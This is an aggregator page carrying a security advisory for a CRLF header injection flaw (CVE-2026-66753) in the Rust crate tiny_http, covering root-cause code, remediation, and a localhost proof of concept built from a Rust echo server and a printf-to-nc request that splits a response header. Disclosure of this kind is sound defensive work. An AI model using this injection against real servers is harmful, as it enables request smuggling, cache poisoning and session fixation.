Lucene search
+L

📄 tiny_http 0.12.0 HTTP Header Injection

🗓️ 29 Jul 2026 00:00:00Reported by Theodosis PaidakisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 20 Views

Tiny_http allows CRLF in header values, enabling HTTP header injection from requests across versions.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-66753
28 Jul 202615:46
attackerkb
cve
CVE
CVE-2026-66753
28 Jul 202615:46
cve
cvelist
Cvelist
CVE-2026-66753 tiny-http 0.12.0 HTTP Response Splitting via Header Injection
28 Jul 202615:46
cvelist
debiancve
Debian CVE
CVE-2026-66753
28 Jul 202615:46
debiancve
euvd
EUVD
EUVD-2026-49883
28 Jul 202615:46
euvd
nvd
NVD
CVE-2026-66753
28 Jul 202616:20
nvd
osv
OSV
CVE-2026-66753 tiny-http 0.12.0 HTTP Response Splitting via Header Injection
28 Jul 202615:46
osv
osv
OSV
DEBIAN-CVE-2026-66753
28 Jul 202616:20
osv
osv
OSV
UBUNTU-CVE-2026-66753
29 Jul 202600:00
osv
ptsecurity
Positive Technologies
PT-2026-65523
28 Jul 202600:00
ptsecurity
Rows per page
# Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)
    
    **Assigned CVE ID:** CVE-2026-66753
    
    ## Summary
    
    tiny_http does not reject carriage return or line feed inside HTTP header values,
    in either direction.
    
    On the request side, `read_next_line` ends a header line only on CRLF, so a lone
    LF survives inside the parsed value and reaches the application. On the response
    side, `Header::from_bytes` validates only that the bytes are ASCII, and the
    response writer emits values verbatim, so a value containing CRLF splits the
    response.
    
    Applications that reflect a request header value into a response header, or that
    re-serialise request headers onto another connection, therefore inherit an
    injection primitive with no indication that anything is wrong.
    
    ## Affected versions
    
    Repo URL: https://github.com/tiny-http/tiny-http
    
    | | |
    |---|---|
    | Affected | all released versions up to and including 0.12.0 (2022-10-06), the current release |
    | Verified | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
    | Fixed in | no fixed version at time of writing |
    
    This is distinct from RUSTSEC-2020-0031 / CVE-2020-35884, which covered
    `Transfer-Encoding` parsing and was fixed in 0.6.3 and 0.8.0. The behaviour
    described here is present both before and after that fix.
    
    ## Severity
    
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
    case of CWE-93 (CRLF Injection).
    
    CVSS 4.0 base score 6.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
    
    ## Threat model
    
    A remote, unauthenticated client sending raw HTTP to any tiny_http server. No
    credentials or user interaction.
    
    Two consumer shapes turn this into a vulnerability:
    
    Applications that copy a request header value into a response header. This is
    the reflection pattern behind CORS origin echo, `Location` headers built from
    request data, and cookie handling. A lone LF in the request value reaches the
    response, and if the application constructs the response value itself it can
    carry a full CRLF.
    
    Applications that re-serialise request headers onto another connection, such as
    a reverse proxy. The lone LF is written into the upstream request, and backends
    that treat a bare LF as a header line terminator read one request as two.
    RFC 9112 section 2.2 permits recipients to do this, so those backends are within
    spec. Go `net/http` and Python `http.server` were both measured to accept it.
    
    ## Root cause
    
    ### Request side
    
    `tiny_http-0.12.0/src/client.rs`, lines 80 to 102. The loop returns only when a
    LF is preceded by a CR. Any other byte, including a lone LF or a lone CR, is
    pushed into the line buffer at line 100:
    
    ```rust
     84          loop {
     85              let byte = self.next_header_source.by_ref().bytes().next();
    ...
     92              if byte == b'\n' && prev_byte_was_cr {
     93                  buf.pop(); // removing the '\r'
     94                  return AsciiString::from_ascii(buf)
     95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
     96              }
     97  
     98              prev_byte_was_cr = byte == b'\r';
     99  
    100              buf.push(byte);
    101          }
    ```
    
    LF is 0x0A and CR is 0x0D, both valid ASCII, so `AsciiString::from_ascii` on
    line 94 accepts them.
    
    `tiny_http-0.12.0/src/common.rs`, lines 184 to 191, then only trims the value.
    `trim` removes leading and trailing whitespace but leaves interior bytes intact:
    
    ```rust
    184      fn from_str(input: &str) -> Result<Header, ()> {
    185          let mut elems = input.splitn(2, ':');
    186  
    187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
    188          let value = elems
    189              .next()
    190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
    191              .ok_or(())?;
    ```
    
    A CRLF pair cannot survive, since it terminates the line, but a lone LF, a lone
    CR, and sequences such as `\n\r` all can.
    
    ### Response side
    
    `tiny_http-0.12.0/src/common.rs`, lines 166 to 172, checks only for ASCII:
    
    ```rust
    166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
    ...
    171          let header = HeaderField::from_bytes(header).or(Err(()))?;
    172          let value = AsciiString::from_ascii(value).or(Err(()))?;
    ```
    
    `tiny_http-0.12.0/src/response.rs`, lines 99 to 104, writes the value with no
    escaping:
    
    ```rust
     99      for header in headers.iter() {
    100          writer.write_all(header.field.as_str().as_ref())?;
    101          write!(&mut writer, ": ")?;
    102          writer.write_all(header.value.as_str().as_ref())?;
    103          write!(&mut writer, "\r\n")?;
    104      }
    ```
    
    Note that `HeaderField::from_str` at line 226 does reject whitespace in a field
    name, but `HeaderField::from_bytes` on line 171 does not, so response header
    names are unchecked too.
    
    ## Proof of Concept
    
    Step 1. Start a server that prints a parsed request header value and echoes a
    value containing CRLF into a response header.
    
    ```rust
    use tiny_http::{Header, Response, Server};
    
    fn main() {
        let server = Server::http("127.0.0.1:8004").unwrap();
        for request in server.incoming_requests() {
            for h in request.headers() {
                if h.field.equiv("X-Test") {
                    println!("parsed X-Test value = {:?}", h.value.as_str());
                }
            }
            let evil = "a\r\nX-Injected: yes";
            let mut resp = Response::from_string("body");
            resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
            let _ = request.respond(resp);
        }
    }
    ```
    
    Step 2. Send a request whose `X-Test` value contains a bare LF. In the command
    below `\n` is a single line feed and `\r\n` is a CRLF. The distinction is the
    point of the test, so do not let an editor normalise it.
    
    ```sh
    printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
    ```
    
    Result on stdout. The LF is still inside the parsed value:
    
    ```
    parsed X-Test value = "aaa\nbbb"
    ```
    
    Result on the wire. The response header split into two:
    
    ```
    HTTP/1.1 200 OK
    Server: tiny-http (Rust)
    Content-Type: text/plain; charset=UTF-8
    X-Echo: a
    X-Injected: yes
    Content-Length: 4
    
    body
    ```
    
    ## Impact
    
    By itself tiny_http does not re-emit request headers, so the request-side
    behaviour is a latent primitive rather than a direct compromise. It becomes
    exploitable in any consumer that forwards or reflects header values, where it
    yields request smuggling against LF-tolerant backends or header injection in the
    response.
    
    The response-side behaviour is directly exploitable in any application that
    places attacker-influenced text into a header value: script injection in the
    origin's context, cache poisoning, session fixation through an injected
    `Set-Cookie`, and overriding security headers.
    
    For comparison, the `http` crate rejects CR and LF in `HeaderValue::from_str`,
    which is why stacks built on it do not expose either behaviour.
    
    ## Remediation
    
    Reject control characters at both boundaries.
    
    In `read_next_line` (`src/client.rs` line 80), treat a bare CR or a bare LF in a
    header line as a protocol error and return 400, rather than folding it into the
    value. Alternatively reject them in `Header::from_str` (`src/common.rs` line
    184) after the split.
    
    In `Header::from_bytes` (`src/common.rs` line 166), reject values containing
    0x0D, 0x0A or 0x00, and reject field names containing anything outside the
    RFC 9110 token set. Returning `Err` there is already handled by callers, since
    the signature is fallible.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.13.7
CVSS 46.3
EPSS0.00218
SSVC
20